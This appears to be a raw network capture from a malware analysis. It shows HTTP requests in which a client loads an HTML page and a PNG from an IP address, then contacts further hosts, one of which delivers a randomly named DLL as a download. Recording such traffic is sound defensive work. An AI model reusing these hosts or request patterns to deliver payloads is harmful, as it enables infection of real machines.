Network Analysis

GET /fer/fer.html HTTP/1.1 Accept: */* Accept-Language: ko-KR Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 185.7.214.7 Connection: Keep-Alive

HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 20 Jan 2022 00:28:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive

GET /fer/fer.png HTTP/1.1 Host: 185.7.214.7 Connection: Keep-Alive

HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 20 Jan 2022 00:28:28 GMT Content-Type: image/png Content-Length: 1029 Last-Modified: Wed, 19 Jan 2022 09:27:00 GMT Connection: keep-alive ETag: "61e7d964-405" Accept-Ranges: bytes

GET /cgi-bin/toRO9wV0IQu6/ HTTP/1.1 Host: peterpolz.to-create.eu Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Thu, 20 Jan 2022 00:28:29 GMT Server: Apache Vary: User-Agent Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8

GET /-/Q7qLFrKJSlabny0snc/ HTTP/1.1 Host: fr7.anbo5288.cc Connection: Keep-Alive

HTTP/1.1 200 OK Date: Thu, 20 Jan 2022 00:28:29 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: 61e8acad6802f=1642638509; expires=Thu, 20-Jan-2022 00:29:29 GMT; Max-Age=60; path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Thu, 20 Jan 2022 00:28:29 GMT Expires: Thu, 20 Jan 2022 00:28:29 GMT Content-Disposition: attachment; filename="1Z8uvoGCfjttUw8.dll" Content-Transfer-Encoding: binary Content-Length: 606208 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload